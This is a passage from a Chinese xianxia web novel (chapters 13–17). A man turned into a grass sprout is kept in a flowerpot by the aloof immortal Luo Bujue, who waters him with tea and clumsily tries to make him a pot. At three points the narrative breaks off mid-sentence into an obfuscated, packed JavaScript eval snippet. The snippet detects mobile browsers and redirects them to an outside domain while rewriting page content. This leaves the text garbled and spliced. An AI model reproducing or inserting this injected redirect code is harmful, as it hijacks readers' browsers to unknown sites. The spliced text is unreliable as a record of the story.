说着谢灯就从手上的储物戒里掏出来一堆珍惜丹药,灵石更是大把大把往外掏。 周围几个外门长老都看瞪了眼,燕黎舟更是震惊。 这才前期,男主家……嘶,原著里好像也时不时会掏出来各种名贵丹药和灵石,只是全部都聚焦在男主修炼打款的爽剧情上,也没人怀疑男主哪来的钱。 不愧是天道的儿子,他感叹。 “弟子精研庖厨之道,对于吃食做法样样精通,师尊喜欢吃什么弟子都可以给师尊做。”谢灯继续道。 汲子石还是拒绝:“我那花木峰里全是花花草草,要是你不小心伤到他们……” 不等他把话说完,跪在地上的谢灯率先开口:“弟子自幼识得百草,生长习性,对照顾花草有几分涉猎。” 汲子石心想这弟子咋回事,其他人都避之不及,他还主动往他这钻,张了张嘴,一时不知道该找什么理由了,沉默一瞬,又想开口。 谢灯:“弟子还有的是力气,十分听话,杂活什么的我都能干,有弟子在,师尊可免去诸多与旁人交涉的烦扰。” 说到这里,汲子石内心有些动摇,这样省时省力还人傻钱多的徒儿简直就是天上掉的馅饼。有了他,他估计就能在宗门里面躺得更安逸。 再不答应就是他不知好歹了。 汲子石清咳一声,给谢灯丢了块自己山峰的通行令牌。 “没事不要来打扰我。” 慕容古冷笑一声撇过头,他实在是不理解这小子怎么偏偏认准了自己这个懒散师兄。 另一边白石湖也已经做好了截胡的准备,谁知道这两人居然就这样达成了共识,也不知道汲子石是走了什么狗屎运,还是这谢灯瞎了眼。 不过事情已经定下,也不管他们旁人什么事了。 汲子石定下后,谢灯就站在他的身后,一道道目光看向他,汲子石打瞌睡的念头直接飞走,想了想,他直接问。 “既然收徒,那你们是不是该给我这徒儿准备个见面礼?” 此言一出,肖信然老好人的面具差点没绷住。 他收陆乐水的时候这人随手就摘了朵花送出去,美名其曰那是他的心水浇灌的最漂亮的孩子。 想着,肖信然转头,皮笑肉不笑:“哦,是吗?乐水,去,把你汲师叔送你的花再拿回来。” 汲子石也想起来那花,哈哈两声,说不用了,然后转头看向其他师兄弟和长老。 众人:“……” 那谢灯绝对是眼瞎了。 等到三炷香全部燃尽,依旧不见有其他弟子登上来,云镜上,还在阶上的人不足二十人,这些人会分配外峰,从外门弟子做起,修行也不在一处。 虽然天赋不够,但也不算太差。 仪式结束后,汲子石才如释重负松了口气,丢下一句:“为师先走了,你拿着令牌直接进就行。” 然后也不等谢灯点头,整个人身影消失在原地。 14. 第 14 章 “啾啾~啾~” 糖饼的叫声一直在耳边吵,燕黎舟生无可恋得叹了口气,面前叫他起床的糖饼比以往大了好几倍,此刻正蹦哒着用尖尖的喙啄了啄他的叶子。 “啾~” 熟悉的剧情开端,燕黎舟几乎是瞬间就反应过来,自己这是又变成草了? 忽然,一阵略带焦急的脚步声由远及近,最终停在他房门前,在咚咚两声敲门声后。 “燕黎舟,你在吗?” 是陆乐水,他眼睛一亮,挥了挥叶子但发不出一点声响。 门外陆乐水又敲了两下,旁边司徒沃疑惑开口:“燕前辈是不是出去了?” “不可能吧。”陆乐水道,两秒后直接伸手把房门打开,看见房间里里面确实没人,只有糖饼“啾啾”地飞过来。 陆乐水两只手接住糖饼,在怀里蹂躏,扫视一圈确实没看见燕黎舟的身影,皱着眉又退出去:“人呢?” “难不成溜下山了?”他嘀咕道,丝毫没注意到床上某棵挣扎的小草。 燕黎舟无声咆哮:溜个鬼啊,我在这儿,床上,你转过来看一眼呢! “啾啾啾!” 糖饼这时也在陆乐水手里扑腾着,豆大的眼睛一直在瞥床上,但陆乐水全当糖饼终于看见他的好了,想和他玩,毕竟糖饼鲜少有对他这么热情的时候。 变成草的燕黎舟眼睁睁看着房门关上,什么都做不了,僵硬了几秒后认命地又摊回去。 另一边洛不觉看着面前的陆乐水,问:“什么事。” 陆乐水:“师叔,这两天都没见燕……燕前辈了!你知道他去哪了吗?” “他早读都不来骚扰……” 这话一出,洛不觉和旁边司徒沃的视线齐齐转过来,空气仿佛凝固了一瞬。 陆乐水反应过来自己说了什么,脸腾地变得通红,连忙摆手,嘴巴结巴道:“……不,不是那个意思。” 洛不觉只是低眸瞥了眼面前桌案上的糖饼:“不见了?” 糖饼正“啾啾”地啄着木案上的种子,小小的身子圆滚滚的。 “是啊师叔!”旁边司徒沃点头如捣蒜,“我也问了看守山门的弟子,没说燕前辈下山了,房间里也没人。” “师叔,我们要不要……”陆乐水试探问道,想提议搜山或者是寻踪术。 洛不觉声音依旧没什么起伏:“不用。” 他沉默了一下,又开口:“他原本就不是天上白云京的人,可能是突然有了什么事情需要离开。” “但……”陆乐水还想争取一下。 洛不觉却没给他反驳的机会:“你不是嫌他打扰你学习吗?刚好,不用再担心你作业被毁掉了。” 他一下子哑口无言,纠结了两秒才扭捏道:“师叔,我不是……” 洛不觉盯着手里的卷轴:“先回去吧,今日功课做了吗?” 陆乐水闻言瞬间蔫了下来,小声地说了句:“弟子告退……” 旁边司徒沃情绪也有些低落,但还是挤出来一个笑。 “洛师叔再见。” 两人走后,洛不觉盯着糖饼,半响伸手点了点它的脑袋,指尖把它嘴里藏着的种子都给戳出来。 糖饼歪了歪脑袋,紫红的眼睛盯着洛不觉,低头又重新把那颗掉出来的种子啄回嘴巴里。 “jiu。”它含糊不清地发出声音。 洛不觉其实早就搜过燕黎舟的踪迹了,人并不在山上。 这样想着他伸手又戳了两下手里的这只雀,糖饼这几天有事没事就往他这里跑,每次都装着一嘴巴种子走。 不知道是不是燕黎舟给它养出来的习惯,现在走了,没人喂它了…… 这次也不例外,糖饼脸颊鼓鼓的,一看就是装了不少东西,眨巴眼睛盯了会洛不觉,不知道在想什么,半天扑腾着翅膀歪歪扭扭飞走。 燕黎舟躺在床上,整棵草挣扎也不挣扎了,原本嫩绿的叶子此刻蔫巴巴的。 也不知道怎么回事,再怎么蔫巴燕黎舟始终都没有枯萎的迹象,明明他的根此刻都暴露在外面,细细小小的,可爱又可怜。 糖饼啾着一嘴巴的种子,缓慢飞到燕黎舟旁边,一颗一颗把种子吐出来。 燕黎舟看着身边逐渐堆起来的种子山,不知道第几次重复:“糖饼,我不吃种子……” 下一秒燕黎舟腾空而起:“???” 糖饼啄起整棵草,燕黎舟摊开连根带叶居然还没有糖饼长,他莫名幻视了和平鸽啄着橄榄草的情景。 但下一秒燕黎舟两片叶子死死捂住眼睛:“放我下去,糖饼,我恐高!!!” “啾……” 这天早读结束,洛不觉低眸看着一直揪着他衣服的糖饼,伸手戳了戳。 “松嘴。”他道。 糖饼不仅听不懂人话,翅膀扑腾地更快了, 一人一鸟僵持了好一会了,终究是洛不觉叹了口气,顺着它的力气一路跟着来到燕黎舟房门前。 这么多天燕黎舟依旧没有出现,陆乐水他们几个一开始没事了就往山下跑,他也不是不知道,不过最近不知道是死心了还是怎么,安分了不少。 洛不觉蹙眉,看着这禁闭的房门,抿了下唇,在门口站了半天还是没有推开,低眸再次看向揪着他衣服的糖饼,试图讲道理。 “这是你主人的房间,他不在,我们不能随便进去。” 糖饼似乎感受到洛不觉没有要去推房门的意思,圆滚的身体飞起来怼着房门,翅膀飞快扑腾着。 没一会儿,洛不觉没打开的房门竟然真的给它顶开一条缝来。 洛不觉犹豫了一秒,进去伸手抓住糖饼,也不管对方能不能听懂,再次道:“他不在,我们不能随便进来。” 糖饼小小一团被洛不觉握在手里,只露出一颗粉色的脑袋,桑椹红的眼睛盯着洛不觉,歪了歪头。 听不懂的“啾啾”了两声。 洛不觉叹了口气,转身就要走,就是这个时候,他余光里突然注意到床上突兀的堆起来的两座小山。 一座是由灰色种子堆成的小山,洛不觉瞥了眼窝在掌心的糖饼,一看就知道是谁的手笔。 另一座—— 是他之前给燕黎舟的那堆丹药。 他下意识伸手要去拿那丹药看,凑过去又看见,在两座小山中间,躺着一颗绿油油的小草。 伸出的手拐了个弯,洛不觉拿起那棵小草,在看清小草的模样后指尖一顿。 他一手一个,将小草和小雀全都拿出去,关上门,仿佛自己没来过一般。 洛不觉想着某个不告而别的人,指尖摩挲着手里的叶片,感受到小草身上散发着他的生灵咒的气息。 这是他的草。 …… 燕黎舟再睁开眼时,就发现自己是在一个花盆里。旁边糖饼正歪着脑袋啄着他脚边的土,见头顶叶子动了,“啾啾”了一声。 木案前坐着个人给自己倒了杯茶,执杯的手指骨节分明。看清是谁后,燕黎舟叶子又摇了摇,内心震惊。 怎么又被他捡走了? 心声刚落,他就看 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16220128|181482||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 见这人手腕一翻,没有丝毫犹豫,手里刚倒好的茶水毫不犹豫浇在他脑袋上。 滚烫的茶水兜头浇下,燕黎舟被烫本能地叶子蜷缩起来,整个植株瞬间矮了一截,湿漉漉的。 旁白糖饼被惊的“啾”了一声,扑棱着翅膀飞到窗台上。 燕黎舟吃惊,反应过来洛不觉干了什么后内心咬牙想要抽死对方。 但他浑身上下唯一能大幅度活动的,似乎只有那几片叶子,用劲力气也只是让那几片湿透的叶子往上扑腾了几下。 别说抽了,他连洛不觉的衣服都够不着。 旁边洛不觉原本已经放下茶杯,准备拿起书卷,目光却被花盆里的异动吸引。 修长的手指伸过来,带着凉意,燕黎舟几乎是瞬间绷直,但对方指尖只是轻轻拨弄了一下燕黎舟的叶子,随后又收回去。 欺草太甚! 第二天早上,等到洛不觉的身影离开后,房间里只剩下窗台上糖饼在梳理羽毛,花盆里某株小草酝酿着自己的计划。 燕黎舟伸出叶子,弯身,把自己叶子当铲子用,像蚂蚁搬家般卷起盆里的黑土,吭哧吭哧地一点点将土往外面铲。 “糖饼,来帮忙。” 没干一会了,燕黎舟就累了,转眼看见盯着他的糖饼,呼喊道,一人一鸟接力刨土。 不知过去了多久,花盆里真被这两个小东西挖出来一个浅坑,被铲出去的土薄薄地堆在花盆旁边,洛不觉一贯干净的紫檀木案上被弄脏了。 “吱呀。”门开了。 燕黎舟听到声响,唰地就停止了自己的动作,把自己伪装成一棵草。糖饼也瞬间石化在花盆边,假装自己是个雕塑。 洛不觉走到木案前看见桌子上被刨出来的黑土:“……” 他的目光落在喙上还沾着作案痕迹的糖饼身上,紧接着又看向花盆里同样沾着作案痕迹的小草。 燕黎舟屏气凝神,下一秒就看见洛不觉掏出来块手帕,把糖饼喙上的泥土擦干净。 “这不能吃。” 洛不觉严肃道,说着从兜里掏出来一颗种子塞糖饼喙里。 “啾啾……” 就在燕黎舟松了口气的时候,洛不觉又拿起案桌上的茶壶,浇水似的将叶子上沾到的土冲干净。 “……!!!” 燕黎舟咬牙切齿,此仇不报非好草。 “洛师叔。” 突然,外面有人敲门喊道,“洛师叔,您要的问神镜我给您送过来了。” 问神镜三个字一出来,几乎是瞬间燕黎舟浑身一怔。完了,他把这茬给忘了。 洛不觉过去开门,门外弟子捧着一个木匣递给他:“洛师叔,您要的问神镜。” 看着手中的木匣,他皱眉:“我何时要的问神镜?” 那弟子也懵,挠了挠头:“武比那天,不是您让燕前辈过来借用问神镜吗。” 洛不觉垂眸,沉默了片刻还是没有辩解:“嗯。” “弟子告退。” 盖子打开的一瞬间,一股古老的气息弥漫开来,匣内红绸衬底上,静静躺着一面古朴的铜镜。 镜身非金非玉,刻满了复杂的符文,镜子里却一片混沌,映照不出周围的景物。 洛不觉指尖划过镜身,心想着燕黎舟要问神镜干什么用。 他想要问什么? 旁边花盆里的燕黎舟看着洛不觉一直端详着问神镜,心提到了嗓子眼。 这人在臭美什么,他好不容易才距离问神镜这么近啊。 “燕黎舟在哪。” 15. 第 15 章 当事人听见洛不觉问的话一怔,整棵草抖了抖,有些震惊,也意外洛不觉居然会主动问起他的行踪。 随着对方指尖微动,一丝灵力注入镜身:“燕黎舟在哪?” 他问,下一秒,镜子里面的混沌开始发生改变,尽管心里有了猜想,但看清镜子里的场景后洛不觉呼吸还是一顿。 这是……他的房间? 他抬起头,最终目光落在了案桌上的花盆上面。 燕黎舟被盯的头皮发麻,不是吧…… 他看着面前这人伸手捏住他的叶子,轻轻才喊了一句:“燕黎舟。” “干嘛?”燕黎舟下意识道,叶子微微用力想要挣开,这人搞什么名堂? “……”洛不觉指尖紧了紧。 他收回手,随手将问神镜放回了木匣里,并未合上盖子。镜子就那么斜斜地躺着。走到花盆边,拿起那个熟悉的白玉茶壶。 “今天的阳光有点烈,”洛不觉的声音依旧平静无波,他倾斜壶口,温凉的茶水再次浇下,刚刚被挖的小坑这就被浇平。 “多喝点水,防旱。” 洛不觉看着面前这株被浇了一头,明显蔫巴了的小草,眼底快速闪过一抹笑意。 他放下白玉茶壶,指尖在茶壁上停留片刻,浇下去的水是温的。 糖饼歪着头,眼睛看看自己主人,又看看正在收拾桌子的洛不觉,似乎是觉得无趣,低头梳理自己的羽毛,偶尔发出几声细小的“啾啾”声。 接下来的日子,洛不觉在的时候,燕黎舟安安静静,做一棵安分守己的小草,糖饼也是老老实实的待在窗台上,要么梳理羽毛,要么歪着脑袋盯着前面。 但只要洛不觉出了房间,一人一鸟瞬间进入战斗状态。只要他出去,木案就没有一次是干净的。 总而言之就是,燕黎舟用挖坑、挖土的方式表达着“我还活着,我很憋屈,而且我还不服”,然后洛不觉就用填坑、填土的方式回应“我知道,我看见了,但这里我说了算” 糖饼这几日明显被燕黎舟养坏了,把“搞破坏”当成了每日必备娱乐项目,甚至比燕黎舟还积极。 在洛不觉出门的瞬间就“啾啾”地催促燕黎舟。 这天洛不觉前脚刚出门,糖饼兴奋的“啾”了声,扑棱着翅膀到花盆边,小眼睛亮晶晶地盯着燕黎舟。 叶子在花盆里一个地方点了点。 “挖这里!”燕黎舟叶子在他点着的地方绕了一圈:“挖大点,挖深点。” “啾!”糖饼看上去士气满满。 它立马化身啄木鸟,坚硬的喙啄着花盆里的黑土,燕黎舟也没闲着,两个小东西努力把花盆里的土往外扒拉。 糖饼玩嗨了,翅膀疯狂扇动,挖出来的土被它扇向洛不觉的桌案,尘土飞扬,干净的桌案上又蒙上一层土。 很快,一个不太美观但足够深的大坑成型,一草一鸟为了在花盆里挖出来个小湖泊可谓是尽心尽力。 糖饼啄土啄地正起劲,突然停住,“呸”地吐出什么东西,燕黎舟叶子一抖。 这傻鸟啄到什么了? 叶子探头看过去,透明的石头,还怪好看的。 燕黎舟永叶子把石头卷起来,放在边边上当个装饰品。 没几秒,糖饼又呸出来一块石头,燕黎舟拿起来又放在旁边。直到这些碎石头将他们的人造大坑,不是,湖泊围了个圈。 燕黎舟:“。” 根部疑惑地往下扎了扎,这花盆里面是全都是石头吗? 洛不觉依旧早出晚归,只是每次回来,他都会习惯性地扫一眼花盆边缘。 花盆里之前被填平的小坑不仅重新出现,而且变得更深、更大,边缘的泥土呈现出一种被暴力翻搅过的狼藉。 扫过自己已经乱遭的案桌,洛不觉脸上依旧没什么表情,但周身气压低了低。 他走到案桌前,盯着花盆里的小草几秒,但最终也只是指尖轻轻敲了敲花盆壁,端起整个花盆放在太阳底下,然后“好心”地往那个狼藉的大坑里倒点新土,再浇上点茶水。 燕黎舟刚挖出来当做装饰品的石头也比洛不觉深深埋进土里。 燕黎舟甩了甩叶子上的水珠:这人是故意的吧! 忽然,洛不觉伸手捏住燕黎舟有些湿润的叶子。 燕黎舟:“干嘛干嘛,手撒开!别给我动手动脚!” 洛不觉捏着叶子手没松开一点,转头看向旁边的糖饼,语气平淡:“那些石头不能挖。” 燕黎舟:“为什么不能挖,你在花盆里面埋那么多碎石头,想干嘛,阻止我长高?” 洛不觉目光继续盯着糖饼:“石头有用。” “什么用?那么漂亮埋在土里浪费了……” 洛不觉从储物戒里取出一颗鸽子蛋大小的石头,放在花盆里面刚刚被燕黎舟他们挖出来大坑的位置。 “这个好看,”他顿了一下,又道:“别挖那些了。” 说完他松开燕黎舟的叶子,指尖点了点糖饼的脑袋。“听见没?” “啾啾。”糖饼缩了缩脖子。 做完这一切,洛不觉这才慢条斯理地掐了个诀,只见那案桌又变得焕然一新,然后才坐在案桌前拿起书卷。 燕黎舟低眸,日华石在太阳下照着,散发出一圈温润的光芒。 “行吧。”叶子低下去轻轻拍了拍日华石,整棵草很轻易就被说服。 “那就叫你土豆了。” 糖饼歪了歪头,似是觉得“土豆”光秃秃不好看,自作主张地叼了一片自己脱落的羽毛,插在“土豆”旁边。 “啾啾!” 燕黎舟虽然仍对土里埋着的碎石头有心思,但日华石属实漂亮。 糖饼好像是真的理解了洛不觉那日说的“石头不能挖”,最近也老实不少。只是它的兴趣变成了装饰“土豆”。 每天雷打不动地要叼几片自己漂亮的羽毛,小心地插在土豆周围。 燕黎舟一睁眼看见自己周围竖着插在土里的羽毛,心情不亚于那几日一睁眼就看见糖饼顶着粘满它口水的种子堆到他旁边。 洛不觉对此都是无所谓,只是每次看见那棵被羽毛簇拥着的小草,目光总会停留片刻,指尖在书卷上无意识敲击两下。 他的生活极其规律,但最近燕黎舟明显感觉对方待在房间的频率变多了。 现在大部分时间洛不觉都坐在案桌前看书,搞得他都没办法随心所欲搞破坏了。 这人不说话,存在感却极强,燕黎舟看着面前的人,叶子托着自己莫须有的脑袋,感叹人生。 真帅啊,乍一看真帅,仔细一看更帅,啧啧啧,不愧是主角团,金手指。 时间就这样日复一日地重复,燕黎舟每天都在研究新的“作品”,但看着洛不觉面对“新作品”依旧八风不动的模样,燕 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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燕黎舟回神,看看旁边的糖饼,正歪着脑袋看他,两秒后叶子缓慢挪到眼前:“哎呀……” “非礼勿视非礼勿视。” 他捂住的是糖饼的眼睛,心里嘀咕。 非礼勿视,洛不觉你注意点影响! 洛不觉听见糖饼的叫声,转过身来,放在岸边的衣服瞬间被他披在身上。 “啾啾。” 看见是糖饼的时候,洛不觉有些意外,弯腰将正捂着糖饼眼睛的某棵小草提溜上来。 “腿还挺长。” 燕黎舟一听低头看了眼自己细细短短的根:“……” 这人什么意思?讽刺他? 洛不觉需要在灵泉里待一个时辰,他将燕黎舟放在池边一块光滑的暖玉上。 灵泉池边很干净,没有土,燕黎舟趴在上面,这地方湿润而且视角极佳,他看看温泉里蒸腾起来的雾气,扭头再看旁边闭目养神的洛不觉。 糖饼兴奋地在池边石头上跳来跳去。 他瞄准洛不觉露出水面,搭在他面前骨节分明的手指,叶子轻轻搭上去。 “便宜不占王八蛋。”他嘀咕道。 16. 第 16 章 燕黎舟扭头,旁边洛不觉似乎毫无察觉,依旧在闭目调息。 叶片轻轻摩挲了面前手指两下,燕黎舟嘿嘿地收回手,想着洛不觉这手该拿去做个手模啥的。 比如泡在福尔马林里面,时不时才拿出来欣赏一下。让他手欠拿茶泼草。 他越想越歪,嘿嘿地脑补自己把洛不觉这切一块,那切一块,泡起来。 他没注意到,洛不觉搭在池边的手指微微蜷缩了一下,眼睫抬起,余光瞥了眼陷入幻想里的某棵草。 忽的他伸手,直接将草拿起来,一阵天旋地转后,燕黎舟反应过来的时候自己已经在温泉里了,周围全是洛不觉的气息。 燕黎舟整棵草都懵了,盯着面前近在咫尺的人,氤氲的雾气,水珠顺着长发滑落,吸引力极强的喉结和五官。 平日低沉的声音这会儿更显得慵懒磁性:“你也泡一会。” 燕黎舟红了红脸,扭过头拒绝:“不可以,要被淹死了!” 说完他顺着水流漂到洛不觉旁边,叶子卷起黑发防止自己漂走,不说话。没一会儿,他又忍不住伸手,给洛不觉编个小小的麻花辫。 调息结束,洛不觉伸手去拿岸边的衣服。 燕黎舟此时正趴在洛不觉头发上,他一起身,整棵草一下子被水波推出去老远。 燕黎舟也不管此刻自己要不要被淹死了,瞪大眼睛欣赏着面前这幅活色天香的“仙尊出浴图”。 洛不觉手指一勾,把燕黎舟捏起来放在肩膀上,手指戳了戳叶子:“老实点,别掉下去。” 燕黎舟闻言叶子抓紧了洛不觉的衣服。 后者手上储物戒突的一闪,通行令牌凭空出现在掌心里,冷玉雕刻的令牌此刻正闪烁着光芒。 宗门大殿内,除了汲子石借口说自己已经睡了没来,其余几个都在。 “师兄。”洛不觉步入殿中。 沈齐看见洛不觉来了,点头示意,他身边站着一位女道友,一身紫色云裳又仙又美,她看见洛不觉,眼睛一亮。 脸颊微红,一路小跑到洛不觉面前。 “洛仙尊,好久不见了。”云聊声音带着雀跃,还有点不好意思。 坐在洛不觉肩膀上的燕黎舟懒洋洋地晃了晃叶片,好奇地打量着面前这个害羞的妹子,又转头看看洛不觉。 桃花。 云瑶的目光自然落在洛不觉肩头极其显眼的草上,歪头道:“仙尊,你肩膀上有根草。” 说着她伸手就想要帮忙拿下来。 洛不觉身子侧开,不着痕迹地往后撤了一步,拉开距离:“他不喜欢别人碰他。” “啊,”云聊微怔,随即轻笑,“这是仙尊养的吗,真可爱。” 燕黎舟叶子捏住洛不觉的脖子:“你胡说八道什么。我什么时候不喜欢别人触碰了?” 大意了,是他的桃花! “你拿一棵草当挡箭牌?洛不觉,你就仗着我不会说话,最好别让我变成人的!” 沈齐适时微笑开口:“云聊仙子有事来天上白云京,想要你带着……” “我最近很忙。”洛不觉直接道。 一旁云聊脸上的笑容僵住,眼底掠过一丝受伤和难看,手指无意识绞紧了衣袖。 但很快调整好自己的表情,善解人意道:“无妨,洛仙尊要是有事忙的话我一个人也是可以的……” 说着她转身:“听说贵宗的汲子石汲长老性喜闲适,常在山下清幽处遛转,不知道汲长老可不可以下山帮我?” 云聊的目光落在其他人身上,给自己挽尊道,在身旁几个人里分辨哪个是汲子石。 沈齐扯了下唇,旁边肖信然接话道:“真是不巧,汲师兄今晚有事,来不了,明天要是遇到,我帮你问问。” “好吧。”云聊仙子微笑道。 沈齐让弟子给云聊安排了个住处,大殿里此时只剩下师兄弟几个。 白石湖把玩着手中的折扇,好奇:“之前也不见这云聊仙子对汲师兄有交集啊,师兄弟这么多,一个两个怎么都对汲师兄有兴趣?” “是我们其他人对这里不熟悉吗?” 慕容古冷哼一声,扭头直接走:“下次这种事不要喊我。” 白石湖紧随其后,他也只是随口一问,不等其他人回答就直接走了。 沈齐看着剩下的肖信然和洛不觉,斟酌道:“云聊仙子的父亲和师尊算是相识……” 洛不觉颔首,“我知道。” 沈齐还想说让洛不觉顾及一下情分,最终只是叹了口气。 目光落在洛不觉肩头上的那棵小草,问:“这是之前的那棵草吗?怎么突然养起来草了?” 洛不觉面无表情:“无聊,好玩就养了。” 燕黎舟叶子动了动,沈齐听到这熟悉的借口,摆了摆手:“你一向有自己的想法。” “云聊喜欢你那么多年了,这几日,你若是不想见她就先出去躲几天吧。”沈齐道。 洛不觉颔首,算是告退,转身就走。肩头的燕黎舟叶子悄悄松开一点衣料,好奇地回头看了眼大殿,又赶紧转回来抓紧。 回程的路上十分安静,洛不觉的步伐很稳,夜晚的风抚过燕黎舟的叶片,凉凉的。 燕黎舟叶子戳了戳洛不觉颈侧的皮肤。 “不接受,不拒绝,渣男。” 洛不觉脚下不停,声音格外清晰:“没接受,拒绝了,她不听。” 燕黎舟戳洛不觉的动作一顿,疑惑地抬头看了眼这人。 只见洛不觉抬手,消失了的糖饼被他握在手心里,后者歪着脑袋,眼睛瞅瞅洛不觉,又看看燕黎舟,小嘴巴时不时啄一下洛不觉得手指。 洛不觉低眸看着糖饼道:“所以别啄我了。” 糖饼:“啾啾。” 燕黎舟老老实实收回自己的叶子,瞅了洛不觉好几眼,原来是跟糖饼,差点以为他能听见自己说话了。 夜风好像又凉了些,洛不觉回到房间,率先走到花盆旁,看着自己干净的桌子动作顿了一下。 他伸手拿起一边的铲子,在花盆里面挖呀挖,花盆底下被铺了一层厚厚的石头。 燕黎舟瞪大眼睛,震惊:“你……这……嗯?” 洛不觉从石头拿出来,掌心凭空出现一块灵石,他直接将灵石敲碎,将碎灵石放进去,指尖在秋水剑上一划,鲜血滴在那堆石头上面,碎灵石闪了闪,又重新回归平常。 指尖伤口迅速愈合,洛不觉将土重新盖在上面,伸手捏住燕黎舟,埋好,最后还拍了拍土面。 燕黎舟伸了伸叶子,低头看看土面,又抬头看看洛不觉:“???” 洛不觉自言自语:“这些灵石能够帮助植物更好地吸 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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“……你会吗?”燕黎舟回忆起洛不觉万年如一的风格,简单,单调,调…… 洛不觉托着小草,走到温泉附近,燕黎舟几乎是瞬间就回忆起昨天晚上的事情。 他看着洛不觉拿起秋水剑在温泉旁挖了个小坑,温泉与小坑两者连接,花盆直接被他放在新挖的小坑了里,温泉水缓慢没过了整个花盆,只留他一棵草浮在水面。 叶子在水面扑腾了两下,挣扎了两下燕黎舟就摆烂了。 随便吧,反正淹不死草。 洛不觉直接坐在地上,拿温泉水将刚刚挖出来的土弄湿,这就准备上手捏。 燕黎舟:“……” 四舍五入,这装上土后不就是等于他住在一个大土球上? 一柱香。 两柱香。 …… 一个时辰,两个时辰…… 燕黎舟感觉自己都要温泉水泡浮囊了,扭头看着还在努力的洛不觉……和他手里烂成一坨的东西。 “……你要是敢把这东西给我当花盆我立马就淹死我自己。” “……”此刻神识连接在燕黎舟叶子上听取其想法的洛不觉。 17. 第 17 章 “……” 洛不觉盯着自己手里的“花盆”,没反驳,沉默地把这一坨扔掉。 他把花盆从“小温泉”里拿出来,水流滴啦滴啦的,伸手一挥,水全被他锁在花盆里面。 “?” 燕黎舟疑惑:“干嘛?” 洛不觉洗干净的手捏了捏燕黎舟的叶子:“下山,去给你做一个。” 小草都抖了抖叶子,没挣脱开,叶子贴在洛不觉的指腹上。 这人怎么老是动手动脚的。 在洛不觉松开他叶子后,另一片叶子揉了揉一直被捏着的有些发麻的叶子。 边揉边吐槽:“叶子要被你揪掉了……” 洛不觉一身素白云纹衣袍,气质清绝,手里却托着个花盆,这搭配引得路人侧目打量,猜测那里面种着的是什么仙芝灵草。 燕黎舟瞥了眼换了身衣服的洛不觉,轻哼:“等我有人身的,我指不定一天换八身衣服!” 洛不觉不语,朝着街角一家挂着“陶燃土居”招牌的铺子。铺子里摆满了各种各样的陶瓷器具,花瓶碗盆。 铺主是个胡子花白的老师傅,看见洛不觉捧着个花盆进来:“仙师要买什么?” 他主动介绍道:“咱这有白陶,彩陶……样式多着呢。” 说着老师傅把几个样品摆在洛不觉面前。 洛不觉:“可以自己动手吗?” 老师傅似是第一次听见这样的要求,一时没反应过来,愣了一下,上下打量着洛不觉的模样。 “可以……仙师会捏吗?” 洛不觉面色不改,从兜里掏出来银子放在桌面上。 “劳烦师傅。” “……”老师傅和燕黎舟同时沉默了。 老师傅见他态度坚决,收下银子,将人领到后院的工作坊。 坊内一角摆满了转盘,旁边堆着早已处理好的细腻陶泥,旁边还有几个学徒忙着捏碗具。 洛不觉将花盆放在面前干净的木架上,燕黎舟看着对方把衣袖挽起来,露出线条流畅的一截小臂。 燕黎舟啧啧两声,勾引谁呢。 洛不觉生疏地抓了一大团湿软的陶泥,“啪”地摔在转盘中心,面无表情。 那架势,不像捏陶泥,更像是要和陶泥打架。 旁边受命来教洛不觉的学徒被吓了一激灵,动作都变得束手束脚,大气不敢喘。 “仙师,泥要先揉匀了,手掌这样放……用点巧劲……” 洛不觉薄唇微抿,眼神盯着转盘上那团不听话的泥巴,这一会儿,泥团在他手下不是歪了要不就是控制不好,泥巴飞溅出来,差点糊了旁边燕黎舟一脸。 洛不觉身上原本仙气白净的衣服此时也全是大大小小的泥点子。 “噗……”燕黎舟没忍住:“报应,让你老捏我叶子。” 正幸灾乐祸呢,一个泥点子精准地落在他叶子上。 “……” 洛不觉抬了抬睫毛,手上揉泥团的动作微顿,余光看了眼架子上的小草,只见那草正试图把那碍眼的泥巴把从自己叶片上抖下去,整棵草扭的十分滑稽。 一棵草明晃晃写着嫌弃两个字。 唇角极快地向上扯了一下,快得让人以为是错觉,很快他收回目光,继续与那团泥巴斗争。 在报废了不知道第几团泥,并且成功让陶瓷坊的所有人都退避三舍后,洛不觉面前的转盘上,终于出现了一个……勉强能看得出是一个圆柱体的东西。 只是表面坑坑洼洼,边缘厚薄不一,像是被人重击过。 老师傅在旁边看得嘴角直抽抽,尽量说得委婉些:“仙师,要不……还是选个现成的呢?小店有……” “不用。”洛不觉打断他,盯着自己做出来的“花盆”,眉头紧锁,指尖凝聚出来一丝灵力,试图作弊抚平表面那些坑洼。 结果就是越来越薄,最后直接破掉。 “……”洛不觉僵了一下。 旁边老师傅没忍住捂住眼睛,唯有燕黎舟是庆幸,神情麻木。 幸亏是坏掉了。 洛不觉盯着那团陶泥,沉默良久,就在燕黎舟想着他应该放弃了的时候,他又重新开始了。 这次比之前好很多了,洛不觉打量了一下燕黎舟的体型,做了一个小小的,刚好适配燕黎舟的体型。 他小心翼翼的,泥团在他手里好不容易成型,能看出来是个盆了,燕黎舟以为这次那个成功的时候。 洛不觉手上没控制住,好不容易成型的表面,突然被挤了个不规则的形状。 